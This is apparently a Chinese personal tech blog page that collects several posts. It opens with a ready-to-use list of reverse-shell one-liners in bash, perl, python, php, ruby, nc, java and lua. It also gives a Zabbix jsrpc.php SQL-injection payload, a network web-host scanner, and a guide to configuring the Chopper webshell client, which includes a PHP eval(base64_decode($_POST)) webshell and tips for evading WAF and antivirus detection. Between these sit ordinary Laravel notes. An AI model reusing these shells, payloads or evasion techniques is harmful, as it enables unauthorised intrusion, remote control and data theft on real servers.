分类 技术类 下的文章

Linux下多种反弹shell方法

bash命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl版本:perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

python版本:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc 版本:nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java 版本:r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

zabbix高危sql注入

payload

jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

有漏洞的话会出现

You have an error in your SQL syntax

有时候测试会出现

You are not logged in

这是因为给guest账号设置了密码,原文说不需要登录是默认开启了guest且guest密码默认为空的情况下。

来源:http://seclists.org/fulldisclosure/2016/Aug/82

laravel 手记

laravel 5.2 手动增加helpers.php

在app目录下面建立文件夹Libraries.在该文件夹下面创建文件helpers.php,文件内容如下

<?php
/**
 * User: Sky
 * Date: 2016-07-25
 * Time: 13:25
 */

if(! function_exists('TestFun')){
    function TestFun($test){
        return $test
    }

}

然后修改bootstrap目录下面的autoload.php文件内容
require __DIR__.'/../vendor/autoload.php';下面添加require __DIR__.'/../app/Libraries/helpers.php';
这样就可以了= =,

==========================================================================
删除laravel中安装过不想用的包

composer remove "vendor/packagename"

获取客户端ip的话用

use Illuminate\Support\Facades\Request;

然后在用该类下面的getClientIp方法
如:

$ip=Request::getClientIp()

=========================================================================
阿里大于sms短信通知接口

https://packagist.org/packages/iscms/alisms-for-laravel

配置方法:
从终端或命令行进入您的项目目录,运行

composer require iscms/alisms-for-laravel

iscms\Alisms\AlidayuServiceProvider::class

加入config\app.php的Providers下 类似

 ...
    /*
     * Application Service Providers...
    */
    App\Providers\AppServiceProvider::class,
    App\Providers\AuthServiceProvider::class,
    App\Providers\EventServiceProvider::class,
    App\Providers\RouteServiceProvider::class,
    ...
    iscms\Alisms\AlidayuServiceProvider::class

运行

php artisan vendor:publish

将配置文件发布到您的配置目录中 4. 您的config目录应该增加了alisms.php配置文件

<?php
    return [
        'KEY' =>env('ALISMS_KEY',null),
        'SECRETKEY'=>env('ALISMS_SECRETKEY',null),
    ];

5.然后您需要在您项目的 ENV 配置文件中写入 SMS 配置 例如

   ALISMS_KEY=23305789
   ALISMS_SECRETKEY=**************

此处ALISMS_SECRETKEY是指您的账户应用密码,请勿透露给他人

开始使用
在您需要调用短信服务的控制器中,引用SMS

use iscms\Alisms\SendsmsPusher as Sms;
public function __construct(Sms $sms)
{
   $this->sms=$sms;
}

public function index()
{
   $result=$this->sms->send("$phone","$name","$content",'$code');
}
  1. 返回执行发送的结果

参数说明
在开始使用中 send 方法一共加入了4个参数

$phone,$name,$content,$code $phone 指接受短信方的短信号码, $name 指短信签名
可以在阿里大鱼短信签名 http://www.alidayu.com/admin/service/sign 找到 $content
是指短信模板中的变量内容.举个例子

在自己的阿里大鱼模板里面有下面一个短信模板

 模板名称: 身份验证验证码
    模板ID: SMS_3910275
    *模板内容:
    验证码${code},您正在进行${product}身份验证,打死不要告诉别人哦!
那么里面存在着2个变量需要替换,一个是${code} ,一个是${product}

那么对应的我们的$content 就应该为

 {
      code:"生成的验证码",
      product:"示例项目"
    }

$code 指在阿里云中的模板ID,上面的例子中使用了一个身份验证模板,那$code 应该填写 > SMS_3910275
到这里应该没有问题了,开始发送短信吧~ ^_^
================================================================================
其他的,用到了在补上

以爬虫式进行网段Web主机发现的小工具【httpscan】

逛github,发现一个小工具,扔出了分享下

原github地址:https://github.com/zer0h/httpscan

httpscan是一个扫描指定CIDR网段的Web主机的小工具。和端口扫描器不一样,httpscan是以爬虫的方式进行Web主机发现,因此相对来说不容易被防火墙拦截。

httpscan会返回IP http状态码 Web容器版本 以及网站标题。

demo.png

Usage:./httpscan IP/CIDR –t threads

Example:./httpscan.py 10.20.30.0/24 –t 10

caidao.conf参数表

  1. <FLAG>

返回的内容分隔符,只限三个字符。我们知道原来的分割符是 ->| 与 |<-, 有些 waf 会拦截这个字符,所以,我们可以用生辟点的字符,比如说 ~>$。

  1. <UA>

定制 HTTP 请求中的 User-Agent 部分,我们看到默认的 caidao.conf 中将 UA 改成了百度蜘蛛的 UA, 当然你可以改成 Google 的嘛。有些时候需要改改,大部分情况下这个参数可以不用改。

  1. <K1> 与 <K2>

POST的参数名称,默认情况下, K1 是 z1,K2 是 z2。一般情况下,waf 是不会拦这个,所以可以不用改。

  1. <PHP_BASE>, <ASP_BASE>, <ASPX_BASE>, <PHP_BASE.加密示例>

这4个是 webshell 的基础代码部分,所有的功能代码都会发到这里进行组装,然后发送到服务端去。

如果你服务端的 webshell 做了一层加解密操作,比如服务端代码是这样的

<?php @eval(base64_decode($_POST['caidao']));?>

那么,你就可以在这里修改配置为

<PHP_BASE.加密示例>eval(base64_decode($_POST[id]));&id=%s</PHP_BASE.加密示例>

可以负责任的讲,免杀,过 waf 大部分都是在这里作文章的,后面基本都是一些功能函数,waf 一般是不会杀的,他要是敢杀,就证明他的业务中不需要那类操作。

这里就有意思了,你想,以前的菜刀只有一个 base64_decode 那现在,你就可以随便改了,比如说,你用 hex, 再比如你可以用凯撒密码,又或者是栅栏密码,再过分点,你可以用 AES, DES,最过分的就是自己写一个加密解密的算法。那样 waf 想拦就很尴尬了。(作者说的过 waf 大概就是这层意思吧)

  1. <GETBASEINFO>

获取基础信息的功能代码。比如你添加完 shell, 直接去虚拟终端,一进去就会显示当前路径,当前用户,系统类型什么的这些。

  1. <SHOWFOLDER>

文件目录查看功能代码。这里主要就是用户传进来一个路径,然后把这个路径下的目录,文件全都显示出来,包括一些属性,比如文件时间,权限,类型等。

  1. <SHOWTXTFILE>

查看文件内容,编辑文件也首先调用的就是这里。

  1. <SAVETXTFILE>

保存文件。

  1. <DELETEFILE>

删除文件。

10.<DOWNFILE>

下载服务器文件到本地。

  1. <UPLOADFILE>

上传文件到服务端。

  1. <PASTEFILE>

粘贴文件。

  1. <NEWFOLDER>

新建目录。

  1. <WGET>

从远程下载一个文件到服务器。

  1. <SHELL>

执行系统命令,这里比较尴尬的地方,就是相关函数被干掉的话,基本是没戏。

其它的就是一些数据库的功能代码了,我实在是不想写了,就那几个单词,百度翻译都知道是什么意思,我就不翻译了哈。